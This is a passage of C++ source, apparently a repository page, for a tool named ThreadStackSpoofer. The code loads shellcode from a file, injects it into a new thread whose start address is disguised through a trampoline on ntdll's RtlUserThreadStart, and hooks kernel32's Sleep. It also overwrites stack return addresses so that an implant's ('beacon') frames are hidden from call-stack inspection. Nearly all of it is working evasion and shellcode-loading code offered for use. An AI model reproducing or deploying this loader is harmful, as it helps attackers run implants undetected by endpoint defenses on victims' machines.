(PGET_MODULE_BASE_ROUTINE64)g_stackTraceSpoofing.pSymGetModuleBase64,
|
||||
NULL
|
||||
);
|
||||
|
||||
if (!result || s.AddrReturn.Offset == 0)
|
||||
break;
|
||||
|
||||
if (s.AddrPC.Offset == s.AddrReturn.Offset)
|
||||
{
|
||||
if (curRecursionCount > 1000)
|
||||
{
|
||||
break;
|
||||
}
|
||||
curRecursionCount++;
|
||||
}
|
||||
else
|
||||
{
|
||||
curRecursionCount = 0;
|
||||
}
|
||||
|
||||
CallStackFrame frame = { 0 };
|
||||
|
||||
frame.calledFrom = s.AddrPC.Offset;
|
||||
frame.stackAddr = s.AddrStack.Offset;
|
||||
frame.frameAddr = s.AddrFrame.Offset;
|
||||
frame.retAddr = s.AddrReturn.Offset;
|
||||
|
||||
if (Frame > maxFrames)
|
||||
break;
|
||||
|
||||
if (Frame < Frames_To_Preserve) continue;
|
||||
|
||||
bool skipFrame = false;
|
||||
|
||||
if (onlyBeaconFrames)
|
||||
{
|
||||
MEMORY_BASIC_INFORMATION mbi = { 0 };
|
||||
|
||||
if (VirtualQuery((LPVOID)frame.retAddr, &mbi, sizeof(mbi)))
|
||||
{
|
||||
if (mbi.Type != MEM_PRIVATE && mbi.Type != 0) skipFrame = true;
|
||||
|
||||
if ((mbi.Protect & PAGE_EXECUTE) != 0 || (mbi.Protect & PAGE_EXECUTE_READ) != 0 || !(mbi.Protect & PAGE_EXECUTE_READWRITE) != 0) {
|
||||
}
|
||||
else {
|
||||
skipFrame = true;
|
||||
}
|
||||
}
|
||||
|
||||
if (frame.retAddr == invalidAddr) skipFrame = true;
|
||||
}
|
||||
|
||||
if (!skipFrame && frame.retAddr != 0 && frame.frameAddr != 0)
|
||||
{
|
||||
frames[(*numOfFrames)++] = frame;
|
||||
}
|
||||
|
||||
log("\t", std::dec, Frame, ".\tcalledFrom: 0x", std::setw(8), std::hex, frame.calledFrom, " - stack: 0x", frame.stackAddr,
|
||||
" - frame: 0x", frame.frameAddr, " - ret: 0x", frame.retAddr, " - skip? ", skipFrame);
|
||||
}
|
||||
|
||||
log("WalkCallStack: Stack Trace finished.");
|
||||
}
|
||||
|
||||
void spoofCallStack(bool overwriteOrRestore)
|
||||
{
|
||||
CallStackFrame frames[MaxStackFramesToSpoof] = { 0 };
|
||||
size_t numOfFrames = 0;
|
||||
|
||||
walkCallStack(GetCurrentThread(), frames, _countof(frames), &numOfFrames, true);
|
||||
|
||||
if (overwriteOrRestore)
|
||||
{
|
||||
for (size_t i = 0; i < numOfFrames; i++)
|
||||
{
|
||||
auto& frame = frames[i];
|
||||
|
||||
if (g_stackTraceSpoofing.spoofedFrames < MaxStackFramesToSpoof)
|
||||
{
|
||||
frame.overwriteWhat = (ULONG_PTR)::CreateFileW;
|
||||
g_stackTraceSpoofing.spoofedFrame[g_stackTraceSpoofing.spoofedFrames++] = frame;
|
||||
}
|
||||
}
|
||||
|
||||
for (size_t i = 0; i < g_stackTraceSpoofing.spoofedFrames; i++)
|
||||
{
|
||||
auto frame = g_stackTraceSpoofing.spoofedFrame[i];
|
||||
*(PULONG_PTR)(frame.frameAddr + sizeof(ULONG_PTR)) = frame.overwriteWhat;
|
||||
|
||||
log("\t\t\tSpoofed: 0x",
|
||||
std::setw(8), std::setfill('0'), std::hex, frame.retAddr, " -> 0x", frame.overwriteWhat);
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
for (size_t i = 0; i < g_stackTraceSpoofing.spoofedFrames; i++)
|
||||
{
|
||||
auto frame = g_stackTraceSpoofing.spoofedFrame[i];
|
||||
|
||||
*(PULONG_PTR)(frame.frameAddr + sizeof(ULONG_PTR)) = frame.retAddr;
|
||||
|
||||
log("\t\t\tRestored: 0x", std::setw(8), std::setfill('0'), std::hex, frame.overwriteWhat, " -> 0x", frame.retAddr);
|
||||
}
|
||||
|
||||
memset(g_stackTraceSpoofing.spoofedFrame, 0, sizeof(g_stackTraceSpoofing.spoofedFrame));
|
||||
g_stackTraceSpoofing.spoofedFrames = 0;
|
||||
}
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
bool initStackSpoofing()
|
||||
{
|
||||
memset(&g_stackTraceSpoofing, 0, sizeof(g_stackTraceSpoofing));
|
||||
|
||||
g_stackTraceSpoofing.hDbghelp = LoadLibraryA("dbghelp.dll");
|
||||
if (!g_stackTraceSpoofing.hDbghelp)
|
||||
return false;
|
||||
|
||||
g_stackTraceSpoofing.pSymFunctionTableAccess64 =
|
||||
GetProcAddress(g_stackTraceSpoofing.hDbghelp, "SymFunctionTableAccess64");
|
||||
g_stackTraceSpoofing.pSymGetModuleBase64 =
|
||||
GetProcAddress(g_stackTraceSpoofing.hDbghelp, "SymGetModuleBase64");
|
||||
g_stackTraceSpoofing.pStackWalk64 =
|
||||
(typeStackWalk64)GetProcAddress(g_stackTraceSpoofing.hDbghelp, "StackWalk64");
|
||||
auto pSymInitialize =
|
||||
(typeSymInitialize)GetProcAddress(g_stackTraceSpoofing.hDbghelp, "SymInitialize");
|
||||
|
||||
if (!g_stackTraceSpoofing.pSymFunctionTableAccess64
|
||||
|| !g_stackTraceSpoofing.pSymGetModuleBase64
|
||||
|| !g_stackTraceSpoofing.pStackWalk64
|
||||
|| !pSymInitialize
|
||||
)
|
||||
return false;
|
||||
|
||||
pSymInitialize(GetCurrentProcess(), nullptr, TRUE);
|
||||
|
||||
log("[+] Stack spoofing initialized.");
|
||||
g_stackTraceSpoofing.initialized = true;
|
||||
return true;
|
||||
}
|
||||
|
||||
bool readShellcode(const char* path, std::vector<uint8_t>& shellcode)
|
||||
{
|
||||
HandlePtr file(CreateFileA(
|
||||
path,
|
||||
GENERIC_READ,
|
||||
FILE_SHARE_READ,
|
||||
NULL,
|
||||
OPEN_EXISTING,
|
||||
0,
|
||||
NULL
|
||||
), &::CloseHandle);
|
||||
|
||||
if (INVALID_HANDLE_VALUE == file.get())
|
||||
return false;
|
||||
|
||||
DWORD highSize;
|
||||
DWORD readBytes = 0;
|
||||
DWORD lowSize = GetFileSize(file.get(), &highSize);
|
||||
|
||||
shellcode.resize(lowSize, 0);
|
||||
|
||||
return ReadFile(file.get(), shellcode.data(), lowSize, &readBytes, NULL);
|
||||
}
|
||||
|
||||
bool injectShellcode(std::vector<uint8_t>& shellcode, HandlePtr &thread)
|
||||
{
|
||||
auto alloc = ::VirtualAlloc(
|
||||
NULL,
|
||||
shellcode.size() + 1,
|
||||
MEM_COMMIT,
|
||||
PAGE_READWRITE
|
||||
);
|
||||
|
||||
if (!alloc)
|
||||
return false;
|
||||
|
||||
memcpy(alloc, shellcode.data(), shellcode.size());
|
||||
|
||||
DWORD old;
|
||||
|
||||
if (!VirtualProtect(alloc, shellcode.size() + 1, Shellcode_Memory_Protection, &old))
|
||||
return false;
|
||||
|
||||
LPVOID fakeAddr = (LPVOID)(((ULONG_PTR)GetProcAddress(GetModuleHandleA("ntdll"), "RtlUserThreadStart")) + 0x21);
|
||||
|
||||
BYTE origRtlUserThreadStartBytes[16];
|
||||
HookTrampolineBuffers buffers = { 0 };
|
||||
buffers.previousBytes = buffers.originalBytes = origRtlUserThreadStartBytes;
|
||||
buffers.previousBytesSize = buffers.originalBytesSize = sizeof(origRtlUserThreadStartBytes);
|
||||
if (!fastTrampoline(true, (BYTE*)fakeAddr, alloc, &buffers))
|
||||
return false;
|
||||
|
||||
shellcode.clear();
|
||||
thread.reset(::CreateThread(
|
||||
NULL,
|
||||
0,
|
||||
(LPTHREAD_START_ROUTINE)fakeAddr,
|
||||
0,
|
||||
0,
|
||||
0
|
||||
));
|
||||
|
||||
::SleepEx(1000, false);
|
||||
|
||||
if (!fastTrampoline(false, (BYTE*)fakeAddr, alloc, &buffers))
|
||||
return false;
|
||||
|
||||
return (NULL != thread.get());
|
||||
}
|
||||
|
||||
int main(int argc, char** argv)
|
||||
{
|
||||
if (argc < 3)
|
||||
{
|
||||
log("Usage: ThreadStackSpoofer.exe <shellcode> <spoof>");
|
||||
return 1;
|
||||
}
|
||||
|
||||
std::vector<uint8_t> shellcode;
|
||||
bool spoof = (!strcmp(argv[2], "true") || !strcmp(argv[2], "1"));
|
||||
|
||||
log("[.] Reading shellcode bytes...");
|
||||
if (!readShellcode(argv[1], shellcode))
|
||||
{
|
||||
log("[!] Could not open shellcode file! Error: ", ::GetLastError());
|
||||
return 1;
|
||||
}
|
||||
|
||||
if (spoof)
|
||||
{
|
||||
log("[.] Thread call stack will be spoofed.");
|
||||
if (!initStackSpoofing())
|
||||
{
|
||||
log("[!] Could not initialize stack spoofing!");
|
||||
return 1;
|
||||
}
|
||||
|
||||
log("[.] Hooking kernel32!Sleep...");
|
||||
if (!hookSleep())
|
||||
{
|
||||
log("[!] Could not hook kernel32!Sleep!");
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
log("[.] Thread call stack will NOT be spoofed.");
|
||||
}
|
||||
|
||||
log("[.] Injecting shellcode...");
|
||||
|
||||
HandlePtr thread(NULL, &::CloseHandle);
|
||||
if (!injectShellcode(shellcode, thread))
|
||||
{
|
||||
log("[!] Could not inject shellcode! Error: ", ::GetLastError());
|
||||
return 1;
|
||||
}
|
||||
|
||||
log("[+] Shellcode is now running.");
|
||||
|
||||
WaitForSingleObject(thread.get(), INFINITE);
|
||||
}
|
||||
Binary file not shown.
|
After Width: | Height: | Size: 57 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 95 KiB |
Reference in New Issue
Block a user